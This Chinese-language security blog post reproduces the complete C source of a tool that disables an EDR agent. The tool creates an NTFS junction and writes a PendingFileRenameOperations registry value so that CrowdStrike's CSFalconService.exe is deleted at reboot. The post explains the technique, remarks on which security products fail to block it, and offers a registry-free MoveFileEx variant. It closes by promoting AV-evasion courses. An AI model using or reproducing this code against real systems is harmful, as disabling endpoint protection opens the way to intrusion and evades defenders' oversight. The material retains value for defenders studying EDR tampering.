最近看到的一个项目:https://github.com/rad9800/FileRenameJunctionsEDRDisable
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
typedef struct _REPARSE_DATA_BUFFER
{
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
union {
struct
{
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
ULONG Flags;
WCHAR PathBuffer[1];
} SymbolicLinkReparseBuffer;
struct
{
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
WCHAR PathBuffer[1];
} MountPointReparseBuffer;
struct
{
UCHAR DataBuffer[1];
} GenericReparseBuffer;
} DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
BOOL create_junction(LPCWSTR junction_dir, LPCWSTR target_dir) {
HANDLE file = CreateFileW(junction_dir, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (file == INVALID_HANDLE_VALUE)
return FALSE;
WCHAR substitute_name[MAX_PATH], print_name[MAX_PATH];
swprintf_s(substitute_name, MAX_PATH, L"\\??\\%s", target_dir);
wcscpy_s(print_name, MAX_PATH, target_dir);
USHORT substitute_name_len = (USHORT)(wcslen(substitute_name) * sizeof(WCHAR));
USHORT print_name_len = (USHORT)(wcslen(print_name) * sizeof(WCHAR));
USHORT reparse_data_size = (USHORT)(FIELD_OFFSET(REPARSE_DATA_BUFFER, MountPointReparseBuffer.PathBuffer)
+ substitute_name_len + sizeof(WCHAR) + print_name_len + sizeof(WCHAR));
PREPARSE_DATA_BUFFER buf = (PREPARSE_DATA_BUFFER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reparse_data_size);
if (!buf) {
CloseHandle(file);
return FALSE;
}
buf->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
buf->ReparseDataLength = (USHORT)(reparse_data_size - REPARSE_DATA_BUFFER_HEADER_LENGTH);
buf->MountPointReparseBuffer.SubstituteNameOffset = 0;
buf->MountPointReparseBuffer.SubstituteNameLength = substitute_name_len;
buf->MountPointReparseBuffer.PrintNameOffset = substitute_name_len + sizeof(WCHAR);
buf->MountPointReparseBuffer.PrintNameLength = print_name_len;
memcpy(buf->MountPointReparseBuffer.PathBuffer, substitute_name, substitute_name_len);
buf->MountPointReparseBuffer.PathBuffer[substitute_name_len / sizeof(WCHAR)] = L'\0';
memcpy((PBYTE)buf->MountPointReparseBuffer.PathBuffer + substitute_name_len + sizeof(WCHAR), print_name, print_name_len);
buf->MountPointReparseBuffer.PathBuffer[(substitute_name_len + sizeof(WCHAR) + print_name_len) / sizeof(WCHAR)] = L'\0';
BOOL success = DeviceIoControl(file, FSCTL_SET_REPARSE_POINT, buf, reparse_data_size, NULL, 0, NULL, NULL);
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(file);
return success;
}
BOOL setup_junction() {
LPCWSTR junction_dir = L"C:\\Program-Files";
LPCWSTR target_dir = L"C:\\Program Files";
if (!CreateDirectoryW(junction_dir, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
return FALSE;
return create_junction(junction_dir, target_dir);
}
BOOL set_registry_value(LPCWSTR sub_key, LPCWSTR reg_key, const WCHAR* const* values) {
HKEY key;
LONG result = RegOpenKeyExW(HKEY_LOCAL_MACHINE, sub_key, 0, KEY_SET_VALUE, &key);
if (result != ERROR_SUCCESS) {
return FALSE;
}
size_t total_len = 0;
for (const WCHAR* const* p = values; *p != NULL; p++) {
total_len += wcslen(*p) + 1;
}
total_len += 1;
WCHAR* multi_sz_val = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, total_len * sizeof(WCHAR));
if (!multi_sz_val) {
RegCloseKey(key);
return FALSE;
}
WCHAR* ptr = multi_sz_val;
for (const WCHAR* const* p = values; *p != NULL; p++) {
size_t len = wcslen(*p);
memcpy(ptr, *p, len * sizeof(WCHAR));
ptr += len;
*ptr++ = L'\0';
}
*ptr = L'\0';
result = RegSetValueExW(key, reg_key, 0, REG_MULTI_SZ, (BYTE*)multi_sz_val, (DWORD)(total_len * sizeof(WCHAR)));
HeapFree(GetProcessHeap(), 0, multi_sz_val);
RegCloseKey(key);
return result == ERROR_SUCCESS;
}
int main() {
if (!setup_junction()) {
return FALSE;
}
wprintf(L"Junction created successfully.\n");
LPCWSTR sub_key = L"SYSTEM\\CurrentControlSet\\Control\\Session Manager";
const WCHAR* ops[] = {
L"\\??\\C:\\program-files\\CrowdStrike\\CSFalconService.exe",
L"",
L"",
NULL
};
if (!set_registry_value(sub_key, L"PendingFileRenameOperations", ops)) {
return 2;
}
wprintf(L"PendingFileRenameOperations set successfully.\n");
return 0;
}
技术解析
第一个点是PendingFileRenameOperations ,它是 Windows 用来管理文件重命名和删除操作的注册表项,位于注册表HKLM\SYSTEM\CurrentControlSet\Control\Session Manager下。设计是用来对一些被占用的文件进行操作,因为有些被操作的文件当前正在使用而无法立即完成操作,此值可用于在启动时强制移动或删除文件
第二点符号链接,NTFS 文件系统中的一种功能,允许将一个目录作为另一个目录的快捷方式或符号链接。攻击者可以利用这一特性,欺骗操作系统或程序,将文件操作引导到意料之外的位置。关于它的滥用历史悠久,可以参考谷歌0day大神James Forshaw 的精彩文章:
https://www.slideshare.net/slideshow/abusing-symlinks-on-windows/47554612
https://github.com/googleprojectzero/symboliclink-testing-tools
他在Windows的研究非常强大,以至于很多国外安全研究员的研究几乎都引用他的研究就找出一个新的绕过安全产品的攻击手法或CVE出来,可以说Windows Security的财富密码都来自于James Forshaw(可能夸张点了)
看到这里你会喷我标题党,标题起的那么夸张,这有什么难绷的?其实这里有个点就是国内某知名安全软件都会拦截符号链接的创建
而国外的EDR基本上都不会拦
这么说还得是我360大哥才是真神,真正的防护一哥
话又说回来,其实上面的项目会操作注册表,不是很隐蔽。毕竟
其实还有一种无需接触注册表的简单方法,MoveFileEx :
MoveFileEx(szExistingFile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
MoveFileEx API 将文件移动到新位置。当传递 NULL 作为第二个参数时,这会导致文件“无处可移”,从而有效地删除文件。现在,如果尝试使用当前可执行文件的路径执行此操作,通常会失败。但是,如果在 dwFlags 参数中指定 MOVEFILE_DELAY_UNTIL_REBOOT,这会告诉 Windows 不要移动(或删除)文件,直到系统关闭或重新启动。
这个之前配合subst是一个很不错的过启动项方法。
大家伙,如果想学习更多的知识和联系我们,可以看我们的论坛:
老鑫安全https://www.laoxinsec.com/ 哔哩哔哩有免杀基础课程,搜索账号:老鑫安全培训,老鑫安全二进制